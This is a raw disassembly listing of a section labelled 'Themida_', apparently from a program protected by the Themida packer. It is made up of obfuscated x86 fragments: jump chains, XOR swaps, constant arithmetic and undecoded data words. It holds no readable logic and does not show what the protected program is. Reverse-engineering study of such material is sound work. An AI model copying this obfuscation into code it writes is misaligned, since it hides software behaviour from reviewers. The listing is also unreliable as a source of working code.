Themida_:0050C9D6j mov esi, edi mov ebx, esi mov esi, [esp] add esp, 4 pop edi jmp loc_50718C ; --------------------------------------------------------------------------- aFi4SU db 'f‰4$é~U',0 db 0 ; --------------------------------------------------------------------------- loc_50A213: ; CODE XREF: Themida_:0050E6B3j add ebx, 4 xchg ebx, [esp] mov esp, [esp] pop edx push eax push ebx push 7036794h pop ebx add ebx, 8779FD6h jmp loc_5070D3 ; --------------------------------------------------------------------------- dd 89240489h, 3F7368E0h, 14890000h, 7A1CBA24h, 0EAC1178Fh dd 7B3DE905h db 2 dup(0) word_50A24A dw 77FFh ; DATA XREF: Themida_:00502A68o dd 58669D1Ch, 9C240410h, 0C3AEE9h, 24048B00h, 390E953h db 2 dup(0) word_50A262 dw 8B66h ; DATA XREF: Themida_:0050286Co dd 5E9240Ch db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A26B: ; CODE XREF: Themida_:0050307Dj pop ecx sub ebp, ecx add ebp, 34FB6439h mov ecx, [esp] add esp, 4 add edx, ebp pop ebp jmp loc_50BC6D ; --------------------------------------------------------------------------- loc_50A285: ; CODE XREF: Themida_:0050B29Ej mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 sub ebp, 4 jmp loc_50494F ; --------------------------------------------------------------------------- loc_50A29A: ; CODE XREF: Themida_:00514774j sub esi, eax pop eax add esi, ebx add esi, 346652CCh pop ebx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push ecx mov ecx, esp jmp loc_51054F ; --------------------------------------------------------------------------- loc_50A2BB: ; CODE XREF: Themida_:00504F89j ; Themida_:0050559Bj push edx jmp loc_503D64 ; --------------------------------------------------------------------------- db 58h, 81h, 0C4h dd 4, 0C33FE9h, 0D9F74900h, 60FEC181h, 0CF214737h, 0CEF78159h dd 1142004h, 243C8BFAh, 8104C483h, 2C2h, 24143300h, 0B848E9h db 0 ; --------------------------------------------------------------------------- loc_50A2F5: ; CODE XREF: Themida_:0050612Aj and ecx, 4FBE7D77h xor ecx, 6EE30C58h jmp loc_504D48 ; --------------------------------------------------------------------------- loc_50A306: ; CODE XREF: Themida_:0051727Aj push 646Ch jmp loc_5114A7 ; --------------------------------------------------------------------------- dd 2414335Eh, 33241431h, 248B2414h, 0C896624h, 0B60F6624h dd 7C9CE9C8h, 51590000h, 0E7FB29B9h, 62DEE970h, 14890000h dd 6C22E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A33E: ; CODE XREF: Themida_:00514CD2j mov [esp], ebp mov ebp, 44AC20AAh sub ebp, 5BCA6ACDh jmp loc_5094D2 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 59CE015Ch, 0E9243433h, 0C021h, 5854505Bh, 9E76E9h, 81595A00h dd 4ECh, 24148900h, 2BE56h, 0F2890000h, 8324348Bh, 0CEE904C4h dd 0F7FFFFC9h, 6FC981D1h, 0D1060874h, 88E981E9h, 6814372Fh dd 0 dd 59240C29h, 7C57E981h, 0CB29A686h, 1E3FE9h, 0CE815F00h dd 1B9C06E7h, 0AACE9h, 241C8900h, 83A2E9h, 24248B00h, 55240C89h dd 0FFE582E9h, 242C87FFh, 2C87D5F7h, 0EC815B24h, 4, 55240489h dd 3978B850h, 0BA5244C3h, 2B7C071Ch, 0C71B2D2Dh, 0E9D00133h dd 3128h, 0BE3DE95Bh, 148B0000h, 0E1895124h, 4C181h, 0FFE90000h dd 560000ACh, 0F33BD2BEh, 3EEC10Ch, 2FBAF681h, 0EEC14FA5h dd 0D6EE8102h, 0C1176006h, 0EEC108EEh, 81D6F707h, 1F862C6h dd 0E0E95500h, 0FEFFFFF6h, 0F6D8F6C0h, 281134D8h, 2434FFC3h dd 0FF98BCE9h db 0FFh ; --------------------------------------------------------------------------- loc_50A44D: ; CODE XREF: Themida_:0050BDD8j dec al shr al, 7 and al, 8 shl al, 8 add al, 0Ah mov cl, al pop eax push ebx mov bh, 0F4h add bh, 0F2h sub cl, bh pop ebx mov bh, cl mov ecx, [esp] jmp loc_51485F ; --------------------------------------------------------------------------- db 57h dd 0FF97CDE9h db 0FFh byte_50A475 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00502908o dd 0E9545724h, 0FFFFD5D0h, 17622FBEh, 4E6C17Fh, 54E9F681h dd 0F3898DF4h, 0BFCB815Eh, 0C128A94Dh, 0DBF707EBh, 797EC381h dd 0BE562011h, 56AE0EE2h, 5B57C681h, 0F309212Ch, 0F8F3815Eh dd 175F8C3h, 0F3295BDEh, 0FF9ED8E9h, 4EB83FFh, 5C241C87h dd 0E9241489h, 0FFFFC2DDh ; --------------------------------------------------------------------------- loc_50A4D0: ; CODE XREF: Themida_:005085F4j pop eax add edx, 35873F56h shr edx, 8 jmp loc_515A2C ; --------------------------------------------------------------------------- db 83h dd 0EC8104C5h, 4, 0FF242C89h, 5D042474h, 5C24048Fh, 0E924048Fh dd 346Ah, 63E9CD01h, 810000B2h, 346198EDh, 3EDC13Fh, 51C8BB53h dd 0DD0127AEh, 5B2434FFh, 532AE9h, 32E95B00h, 81000018h dd 5F77A3CEh, 0ADE4E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A52E: ; CODE XREF: Themida_:0050B3B3j push dword ptr [edi+24h] jmp loc_50B24E ; --------------------------------------------------------------------------- loc_50A536: ; CODE XREF: Themida_:00517D8Bj add ebp, eax sub ebp, 3F8F615Bh jmp loc_50E9FD ; --------------------------------------------------------------------------- db 0F7h dd 4FF9E9DEh, 0E9830000h, 15C3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A552: ; CODE XREF: Themida_:00505D30j add dh, 0DFh sub bl, dh pop edx pop edx jmp loc_506E9F ; --------------------------------------------------------------------------- word_50A55E dw 34FFh ; DATA XREF: Themida_:00502808o dd 2434FF24h, 0E9240C8Bh, 80EEh, 4EC8158h, 89000000h, 0E2892414h dd 4B850h, 0C2010000h, 60E95058h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A587: ; CODE XREF: Themida_:005066DDj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5039CD ; --------------------------------------------------------------------------- loc_50A5A6: ; CODE XREF: Themida_:0050D735j mov ecx, 779E59DDh add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_50614A ; --------------------------------------------------------------------------- loc_50A5BB: ; CODE XREF: Themida_:0050B134j pop esi push 13CDh mov [esp], esi not dword ptr [esp] pop esi jmp loc_503CE0 ; --------------------------------------------------------------------------- db 1, 0CBh, 59h dd 0F0E9DA01h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A5D7: ; CODE XREF: Themida_:0050AACBj pop ebp shr ebp, 8 push ecx mov ecx, 6F6D0E31h xchg edx, ecx not edx xchg edx, ecx sub ecx, 2115006Dh jmp loc_5102EF ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0C3830000h, 241C8704h, 4C4815Ch, 52000000h dd 781668h, 24248900h, 4240481h, 5A000000h, 1E0168h, 243C8900h dd 2678EABFh, 78E7811Fh, 0E978607Dh, 7972h, 5E665B66h dd 66D6F766h, 1DE9F387h, 0BBFFFFF0h, 418A43A8h, 5462E381h dd 564B1ADEh, 0CB6AE9h db 0 ; --------------------------------------------------------------------------- loc_50A651: ; CODE XREF: Themida_:00507F18j mov ch, 37h sub al, ch pop ecx sub al, dh jmp loc_505E58 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 0E904C483h, 3C4Dh ; --------------------------------------------------------------------------- loc_50A668: ; CODE XREF: Themida_:00506EA2j push small 5E25h mov [esp], ax jmp loc_5084FA ; --------------------------------------------------------------------------- loc_50A675: ; CODE XREF: Themida_:005150B9j add ebx, edx add [ebx], ebp pop ebx mov edx, [esp] push edx mov edx, esp jmp loc_512F8F ; --------------------------------------------------------------------------- aQSP0Ys db 'Q±‘³0ËYé',0 db 'Æ',0 align 2 dw 1489h dd 1044E924h, 81660000h, 0E91B92EBh, 34FFh, 924185B9h dd 6A31E970h, 0F1880000h, 0C530E9h, 0F7DF8700h, 1C781DFh dd 0E9000000h, 8F51h ; --------------------------------------------------------------------------- loc_50A6C4: ; CODE XREF: Themida_:00510C46j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_513E77 ; --------------------------------------------------------------------------- loc_50A6D4: ; CODE XREF: Themida_:005162A1j push dword ptr [esp] push dword ptr [esp] jmp loc_513A56 ; --------------------------------------------------------------------------- byte_50A6DF db 30h ; DATA XREF: Themida_:00502A58o dd 0C32240Ch, 240C3024h, 0FFE6DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_50A6ED: ; CODE XREF: Themida_:005151FBj push dx dec byte ptr [esp+1] pop dx inc dh push 3881h mov [esp], ebx jmp loc_5178F8 ; --------------------------------------------------------------------------- loc_50A704: ; CODE XREF: Themida_:00507B87j push edx jmp loc_50690E ; --------------------------------------------------------------------------- dw 0BF57h dd 212E29D5h, 0FFA751E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A715: ; CODE XREF: Themida_:0050F98Bj mov ebp, 18A04FDCh jmp loc_507CA0 ; --------------------------------------------------------------------------- db 5Fh dd 24148B59h, 4C481h, 99680000h, 89000069h, 4BD242Ch, 0E9000000h dd 0FFFFBD78h ; --------------------------------------------------------------------------- loc_50A73C: ; CODE XREF: Themida_:00507A4Bj xchg edi, [esp] mov esp, [esp] jmp loc_514CD7 ; --------------------------------------------------------------------------- loc_50A747: ; CODE XREF: Themida_:00504899j add ebp, eax pop eax push esi mov esi, 738B463Eh and esi, 4A7414ECh jmp loc_51480E ; --------------------------------------------------------------------------- loc_50A75B: ; CODE XREF: Themida_:005040C4j mov edx, 800407Ch add ebx, 7F8A64A9h sub ebx, edx sub ebx, 7F8A64A9h pop edx jmp loc_509ACC ; --------------------------------------------------------------------------- dd 5C243C87h, 1C36E9h, 91E95900h, 5B0000C0h, 0E92434FFh dd 9211h, 0B058C381h, 0EBC1FD62h, 0B40EE907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A79A: ; CODE XREF: Themida_:00512FE4j shr ebx, 7 shr ebx, 3 inc ebx or ebx, 6154C91h xor ebx, 4C9D4B86h xor edi, ebx pop ebx xor esi, edi pop edi push ebx mov ebx, esi push edi mov edi, ebx mov edx, edi pop edi pop ebx mov esi, [esp] add esp, 4 add edx, 5AEC6F9Eh push esi jmp loc_505E44 ; --------------------------------------------------------------------------- db 66h dd 83240C8Bh, 348904ECh, 791CE924h, 0C4810000h, 4, 0BD40E9h dd 5D5E5500h, 997C681h, 222D40C9h, 5503310h, 18E132B9h dd 1458E9h db 0 ; --------------------------------------------------------------------------- loc_50A801: ; CODE XREF: Themida_:00506075j sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_50DADB ; --------------------------------------------------------------------------- loc_50A815: ; CODE XREF: Themida_:0050AF9Dj push 37Bh mov [esp], esi jmp loc_510AE7 ; --------------------------------------------------------------------------- word_50A822 dw 34FFh ; DATA XREF: Themida_:00502810o dd 240C8B24h, 8904EC83h, 0E6892434h, 4C681h, 0C6810000h dd 4, 2474FF56h, 48F5E04h, 0E1E95C24h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A84B: ; CODE XREF: Themida_:0050995Ej push 6FDEh jmp loc_51137F ; --------------------------------------------------------------------------- loc_50A855: ; CODE XREF: Themida_:00503606j add ebp, 4BE476BEh mov edi, [esp] push eax jmp loc_5149E7 ; --------------------------------------------------------------------------- dd 0F815E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A86A: ; CODE XREF: Themida_:00512230j push eax push 61682B37h jmp loc_50EABA ; --------------------------------------------------------------------------- loc_50A875: ; CODE XREF: Themida_:005124ECj mov eax, [esp] push ebp mov ebp, esp add ebp, 4 push edx jmp loc_516F0F ; --------------------------------------------------------------------------- loc_50A887: ; CODE XREF: Themida_:005101E1j xor edi, eax xor eax, edi push 290Bh mov [esp], edi xchg ebp, [esp] xchg edx, ebp jmp loc_50DAEB ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 8BD0015Ch, 0C4812414h, 4, 817AE9h db 0 ; --------------------------------------------------------------------------- loc_50A8B1: ; CODE XREF: Themida_:00506F58j xor edi, [esp] mov esp, [esp] mov [esp], edi jmp loc_50ABFE ; --------------------------------------------------------------------------- aYsq db 'Yéï',27h,0 db 0 ; --------------------------------------------------------------------------- loc_50A8C5: ; CODE XREF: Themida_:0050EE9Dj pop ebp jmp loc_507ECC ; --------------------------------------------------------------------------- db 0C1h dd 0EC8103EDh, 4, 0FFC9A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A8D9: ; CODE XREF: Themida_:0050B393j push ebp push ebx mov ebx, 4F260CEh shr ebx, 7 jmp loc_50ABE6 ; --------------------------------------------------------------------------- loc_50A8E8: ; CODE XREF: Themida_:0050BAE6j push edi mov edi, 4 jmp loc_50AD52 ; --------------------------------------------------------------------------- db 0BFh dd 66F3600Eh, 555FF821h, 4E6FBF57h, 0A8E94B86h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50A907: ; CODE XREF: Themida_:00515D65j push edi mov edi, 4 jmp loc_5107D1 ; --------------------------------------------------------------------------- dw 4BFh dd 0E9000000h, 0B605h, 0E9FA295Fh, 0FFFFDC19h ; --------------------------------------------------------------------------- loc_50A924: ; CODE XREF: Themida_:005158B7j pop dword ptr [esp] push eax push edx jmp loc_510D92 ; --------------------------------------------------------------------------- dw 0E789h dd 5422BA52h, 0F28145ECh, 45EC5426h, 815AD701h, 4C7h, 243C8700h dd 24048F5Ch, 6624248Bh, 6824148Bh, 75F8h, 0E9241C89h dd 0FFFFB2FFh ; --------------------------------------------------------------------------- loc_50A960: ; CODE XREF: Themida_:005160F3j add esp, 4 bswap eax jmp loc_5109B5 ; --------------------------------------------------------------------------- dw 895Ch dd 0A2E9240Ch db 0C0h, 2 dup(0) byte_50A973 db 8Bh ; DATA XREF: Themida_:0050282Co dd 50E92424h, 81FFFF81h, 566881EBh, 81C30108h, 566881C3h db 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50595E ; --------------------------------------------------------------------------- aBszOassr db 'é§*oAéèR',0 align 4 dd 0DE8144BAh, 0E9D701A3h, 0A24Dh, 0B446E950h, 0D931FFFFh dd 0EDED815Bh, 16A0876h, 0EDC581CDh, 0E96A0876h, 6A54h dd 0C49B951h, 0C80911EFh, 1AD12D59h, 0C701DB80h, 0FFC78158h dd 81B2C0A6h, 0EE25BCC3h, 81FB010Ah, 0EE25BCEBh, 3374E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_50A9EE: ; CODE XREF: Themida_:00504E18j push eax push edx jmp loc_505E09 ; --------------------------------------------------------------------------- loc_50A9F5: ; CODE XREF: Themida_:0051069Dj mov [esp], edi mov edi, 1 add ecx, edi mov edi, [esp] add esp, 4 shl ecx, 6 xor ecx, 0A35A5E6Dh xor eax, ecx push dword ptr [esp] jmp loc_504511 ; --------------------------------------------------------------------------- loc_50AA18: ; CODE XREF: Themida_:00515432j shl edx, 6 jmp loc_510304 ; --------------------------------------------------------------------------- dd 0F759C831h, 19F80DD0h, 0C3E93FE2h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_50AA2F: ; CODE XREF: Themida_:0050DF37j mov esp, [esp] push edi sub esp, 4 mov [esp], eax jmp loc_512A4A ; --------------------------------------------------------------------------- aLS_0 db '‹<$é!±',0 dd 87048F00h, 0FF807AE9h, 4C381FFh, 83000000h, 1C8704EBh dd 14895C24h, 4BA24h, 54010000h, 8B5A0424h, 97E9242Ch dd 330000C6h, 2C31242Ch, 242C3324h, 0FFC20DE9h, 14875CFFh dd 0C0F3E924h, 0E951FFFFh, 0FFFFBA2Eh, 0E924048Bh, 0FFFFDFEFh dd 0E0697068h, 0E3815B0Dh, 652F3606h, 4728E943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50AAAA: ; CODE XREF: Themida_:0050AB22j and eax, ecx pop ecx shr eax, 10h xor eax, ecx push 761Fh mov [esp], eax xor [esp], ebp xor ebp, [esp] xor [esp], ebp jmp loc_517DFC ; --------------------------------------------------------------------------- loc_50AAC8: ; CODE XREF: Themida_:00506270j not dword ptr [esp] jmp loc_50A5D7 ; --------------------------------------------------------------------------- loc_50AAD0: ; CODE XREF: Themida_:0050D81Cj pop edx sub esp, 4 jmp loc_51283A ; --------------------------------------------------------------------------- loc_50AADC: ; CODE XREF: Themida_:00508B43j pop ebx sub edi, 1D56548Ah sub edi, ecx push ecx mov ecx, 1D56548Ah add edi, ecx mov ecx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_515C67 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 7DEBF681h, 30E97759h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50AB0F: ; CODE XREF: Themida_:005115BCj add esp, 4 push edi jmp loc_508D19 ; --------------------------------------------------------------------------- loc_50AB18: ; CODE XREF: Themida_:005046D7j add ebp, esi jmp loc_50C9F0 ; --------------------------------------------------------------------------- loc_50AB1F: ; CODE XREF: Themida_:005138FEj add ecx, edx pop edx jmp loc_50AAAA ; --------------------------------------------------------------------------- db 87h dd 5DE9240Ch, 81000038h, 0A21BD4C3h, 2434FF6Bh, 4C4815Dh dd 0E9000000h, 8BAh, 8104C483h, 4ECh, 2FBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50AB52: ; CODE XREF: Themida_:0050F465j pop ebx mov ax, [esp] jmp loc_51255F ; --------------------------------------------------------------------------- dd 4C4815Bh, 87000000h, 0E95C242Ch, 45D0h, 6869B850h, 0C6810C34h dd 34232BEh, 0EE81C601h, 34232BEh, 24048B58h, 4C481h, 0EC830000h dd 24048904h, 4EC81h, 2C890000h, 34156824h, 815D5BC7h dd 447C3EC5h, 51B9512Ah, 29860BB0h, 240C8BCDh, 8904C483h dd 242C8BE8h, 2904C483h, 0EC8358C6h, 24348904h, 42474FFh dd 0FF7F6CE9h, 68F9F7FFh, 0B51h, 50241489h, 7EEDE99Ch dd 0C483FFFFh, 0CE29E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50ABE6: ; CODE XREF: Themida_:0050A8E3j sub ebx, 0BC42B729h xor ebx, 7A1D26BDh inc ebx and ebx, 4CBA0EDCh jmp loc_50B52A ; --------------------------------------------------------------------------- loc_50ABFE: ; CODE XREF: Themida_:0050A8BAj push 48471CFCh mov edi, [esp] jmp loc_51053C ; --------------------------------------------------------------------------- db 89h dd 0EC832414h, 241C8904h, 2827CFBBh, 4EC8355h, 81241C89h dd 6574242Ch, 0BAE95CFCh, 100001Fh, 0C38FE9CFh, 0E3890000h dd 5D8F68h, 24148900h, 8A182ABAh, 0E9E2D117h, 352Bh, 5866C688h dd 66243486h, 0ECF18059h, 281BC380h, 1BEB80CBh, 5CACE9h db 0 byte_50AC61 db 66h, 0FFh, 32h ; DATA XREF: Themida_:0050296Co dd 0FF7E62E9h db 0FFh ; --------------------------------------------------------------------------- loc_50AC69: ; CODE XREF: Themida_:0051287Aj and eax, 3166649Dh jmp loc_502BE1 ; --------------------------------------------------------------------------- db 0BEh dd 23252F12h, 0C107E6C1h, 7FE905E6h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AC83: ; CODE XREF: Themida_:0050858Fj pop esp mov ebp, [esp] push ecx jmp loc_508E0F ; --------------------------------------------------------------------------- db 5Bh, 33h, 14h dd 24143124h, 8B241433h, 3C892424h, 63AA6824h, 8DE90000h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_50ACA7: ; CODE XREF: Themida_:00505C01j mov ebx, [esp] jmp loc_5136BF ; --------------------------------------------------------------------------- loc_50ACAF: ; CODE XREF: Themida_:00516243j pop dword ptr [esp] mov esp, [esp] jmp loc_505C65 ; --------------------------------------------------------------------------- dw 8155h dd 5A4B2404h, 2D5828C4h, 28C45A4Bh, 0FFC6A2E9h, 52FB01FFh dd 0BB53h, 0DA890000h, 0FFE557E9h db 0FFh ; --------------------------------------------------------------------------- loc_50ACDD: ; CODE XREF: Themida_:005135B8j push 5D48h mov [esp], edi push esi mov esi, 43DB0783h push edx jmp loc_50B168 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0E1h dd 0BAFFFFDFh, 4, 5179C781h, 0D70128C8h, 5179EF81h, 835A28C8h dd 3C8704C7h, 0B4E95C24h, 55FFFF7Dh, 473A68BDh, 6FEF8168h dd 0E9109863h, 8041h, 2C9B6866h, 24248966h, 24048166h dd 8F660002h, 0E9502404h, 0 dd 950DE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AD46: ; CODE XREF: Themida_:0050E421j pop ebp sub esp, 4 jmp loc_50C27E ; --------------------------------------------------------------------------- loc_50AD52: ; CODE XREF: Themida_:0050A8EEj add [esp+4], edi pop edi pop edi add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], ebx mov ebx, 28BF6B0Fh jmp loc_51350F ; --------------------------------------------------------------------------- loc_50AD7E: ; CODE XREF: Themida_:00503002j pop esp jmp loc_503B2B ; --------------------------------------------------------------------------- loc_50AD84: ; CODE XREF: Themida_:0050D12Aj push ebp mov ebp, 505E1F8Ah sub edx, ebp pop ebp add edx, ebx add edx, 505E1F8Ah pop ebx xchg edx, [esp] jmp loc_50401E ; --------------------------------------------------------------------------- loc_50AD9E: ; CODE XREF: Themida_:00505710j xor [esp+4], edx mov edx, [esp] push ecx jmp loc_5083B8 ; --------------------------------------------------------------------------- db 0BAh dd 48E45B82h, 1654E9h db 0 ; --------------------------------------------------------------------------- loc_50ADB5: ; CODE XREF: Themida_:00515E71j shr eax, 0Eh xor eax, ecx jmp loc_513372 ; --------------------------------------------------------------------------- db 89h dd 0FEF4E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50ADC6: ; CODE XREF: Themida_:0050CDB0j add bl, 7Dh pop eax add bl, al push dx mov dh, 63h add dh, 0Dh xor dh, 0Eh shl dh, 6 inc dh add dh, 0E5h sub dh, 0C5h add bl, dh pop dx movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 93BDE9C3h, 0E95CFFFFh, 5BDEh, 5C243C87h, 284468h, 241C8900h dd 0E89E9h, 53E18900h, 3733E9h, 0E9E78800h, 0FFFFAB9Ah dd 8AE9D3F7h, 0FFFFC2h, 2CF604D8h, 68536621h, 5105h, 711AE9h dd 4BBA6800h, 48B58AEh, 0E7895724h, 4C781h, 0C7810000h dd 4, 0C81E9h, 243C8900h, 4A19DCBFh, 0ACDEE937h, 0BF57FFFFh dd 5CA05749h, 381CE9h, 0FFC68300h, 0A20AE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AE6E: ; CODE XREF: Themida_:0051235Bj or ebx, 41C2300Ah and ebx, 24F40610h shl ebx, 2 shr ebx, 2 shl ebx, 4 add ebx, 53A1E43h push ebx mov ebx, 94C52EBh add [esp+8], ebx pop ebx add [esp+4], ebx jmp loc_502C73 ; --------------------------------------------------------------------------- loc_50AE9D: ; CODE XREF: Themida_:005168D0j add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp push edx mov edx, 16AC56DCh xor edx, 7D0E03EAh jmp loc_5138F5 ; --------------------------------------------------------------------------- dd 5009F681h, 0F5317D82h, 8124348Bh, 4C4h, 0FFEE0100h dd 2C8B2434h, 26E95724h, 0BBFFFFB6h, 58F45BE7h, 515BD829h dd 6511BE56h, 52536273h, 4117BABAh, 0E9D38978h, 0B22Fh dd 0E9243C89h, 0FFFFD81Eh ; --------------------------------------------------------------------------- loc_50AEFC: ; CODE XREF: Themida_:00512A16j inc eax inc eax jmp loc_509FD7 ; --------------------------------------------------------------------------- loc_50AF03: ; CODE XREF: Themida_:00511F87j add edx, edi sub edx, 38F31491h pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] add esp, 4 shl eax, cl push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_513FCB ; --------------------------------------------------------------------------- aSp8 db ')Ñé8',0 align 4 dd 5C243C87h, 4C481h, 0C6810000h, 4, 8B243487h, 0E1F72424h dd 124C68h, 24148900h, 6CE99C50h, 89FFFF7Bh, 3481240Ch dd 93637624h, 0F6815E73h, 73936376h, 0E9F23159h, 0FFFFB719h ; --------------------------------------------------------------------------- loc_50AF78: ; CODE XREF: Themida_:005176AAj pop eax add eax, 4 jmp loc_50CD33 ; --------------------------------------------------------------------------- db 30h dd 7EE9FCh, 0C8310000h, 0CBDFE9h db 0 ; --------------------------------------------------------------------------- loc_50AF91: ; CODE XREF: Themida_:00510922j push dword ptr [esp] jmp loc_5087F3 ; --------------------------------------------------------------------------- loc_50AF99: ; CODE XREF: Themida_:00506319j push dword ptr [esp] pop edi jmp loc_50A815 ; --------------------------------------------------------------------------- dw 0B850h dd 4, 0E958C629h, 0A124h, 89241489h, 0E16856E2h, 8900005Ch dd 58BA2414h, 81797C2Fh, 0E0772FCAh, 15ECE966h, 0C6810000h dd 4, 8704EE83h, 0E95C2434h, 0FFFF9079h ; --------------------------------------------------------------------------- loc_50AFE0: ; CODE XREF: Themida_:00516164j pop edi add edi, 4 add edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_516242 ; --------------------------------------------------------------------------- byte_50AFF9 db 0FFh, 77h, 40h ; DATA XREF: Themida_:00502900o dd 0FF7ACAE9h, 0E94959FFh, 8C53h, 0D4F65B66h, 8005ECC0h dd 0EC80C1CCh, 60C480EDh, 0FF940BE9h, 52D801FFh, 9933E9h dd 98E95F00h db 90h, 2 dup(0) byte_50B02B db 66h ; DATA XREF: Themida_:00502978o dd 52240C8Bh, 0EC81E289h, 4, 81243C89h, 4ECh, 0FBC5E900h dd 0CB09FFFFh, 81EBD159h, 0EC78E6EBh, 0F7CB875Bh, 0C1CB87D1h dd 0BA5208E3h, 0E102675h, 0C281D2F7h, 0BD563B7Ah, 0BE9D301h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B06F: ; CODE XREF: Themida_:00506E4Dj mov ah, 0DEh xor dl, ah pop ax and dl, 0E7h jmp loc_50407E ; --------------------------------------------------------------------------- align 2 dw 66D0h dd 0E924148Bh, 6135h, 18E99CB4h, 8100008Ah, 4ECh, 24348900h dd 76ACE9h, 240C8900h, 51C9E9h, 0E9814900h, 5C44777Fh dd 0F496E981h, 0CB01797Ah, 570E959h, 4890000h, 0BE565324h dd 99063A2h, 685EF389h, 24A4h, 0BB241C89h, 36BB6477h, 0F3FBF57h dd 0FB017BB8h, 16F3815Fh, 51BBE317h, 16D8E9h db 0 byte_50B0E9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00502A70o dd 0E3895324h, 4EC81h, 3C890000h, 4EC8324h, 0E9240489h dd 0FFFFEA8Bh, 8BD1015Bh, 89532414h, 77A2E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B112: ; CODE XREF: Themida_:0050EA85j or bl, cl pop ecx sub bl, 1 push 3E2Eh jmp loc_5157E4 ; --------------------------------------------------------------------------- dw 0FC88h dd 37E9E588h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50B12B: ; CODE XREF: Themida_:00505DC8j pop esp mov [esp], esi push 7884EB7h jmp loc_50A5BB ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 10D2504h, 0F7054528h, 1FAFFFEh, 76E958C3h, 5A0000BAh dd 7FBEE9h db 0 ; --------------------------------------------------------------------------- loc_50B155: ; CODE XREF: Themida_:0050CD44j pop ebx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_507BC0 ; --------------------------------------------------------------------------- loc_50B168: ; CODE XREF: Themida_:0050ACECj mov edx, 78474B03h mov edi, edx pop edx xor edi, esi jmp loc_507936 ; --------------------------------------------------------------------------- loc_50B177: ; CODE XREF: Themida_:0050ED14j mov [esp], ecx sub esp, 4 mov [esp], ebp jmp loc_50E094 ; --------------------------------------------------------------------------- dd 8904EC83h, 0F1B9240Ch, 0BB60F86Bh, 27625B4Eh, 30DFE9h dd 470D6800h, 57E90000h db 0A3h, 2 dup(0FFh) byte_50B1A7 db 66h ; DATA XREF: Themida_:00502954o dd 5224048Bh, 0B951E289h, 117323B1h, 0FFA7DFE9h, 24248BFFh dd 68240489h, 242Dh, 24048F54h, 2701E9h db 0 ; --------------------------------------------------------------------------- loc_50B1CD: ; CODE XREF: Themida_:0051310Ej add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5151A3 ; --------------------------------------------------------------------------- dw 0A568h dd 0E9000014h, 0C9CEh, 4EC81h, 0C890000h, 81E18924h, 4ECh dd 24148900h, 0FFF20AE9h, 0F5F281FFh, 814FC867h, 0CD569DF2h dd 71CA8136h, 0E9187E7Ch, 6CF1h, 4C4835Ah, 0B35BE9h db 0 ; --------------------------------------------------------------------------- loc_50B225: ; CODE XREF: Themida_:00505130j pop edx sub bl, dl jmp loc_505D23 ; --------------------------------------------------------------------------- db 81h, 0EBh, 14h dd 2977AA10h, 14C381FBh, 8B77AA10h, 0C481243Ch, 4, 4504FD05h dd 5B74E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B24E: ; CODE XREF: Themida_:0050A531j push 1336h mov [esp], eax push edi push 589B00A2h pop edi or edi, 78214DD8h jmp loc_503434 ; --------------------------------------------------------------------------- dd 54240489h, 0BC7EE9h, 8BF80100h, 0C483243Ch, 24043304h dd 33240431h, 0E95C2404h, 0FFFFF945h, 4EC81h, 6AE90000h dd 0FFFFFFEDh, 34FF8734h db 24h, 58h ; 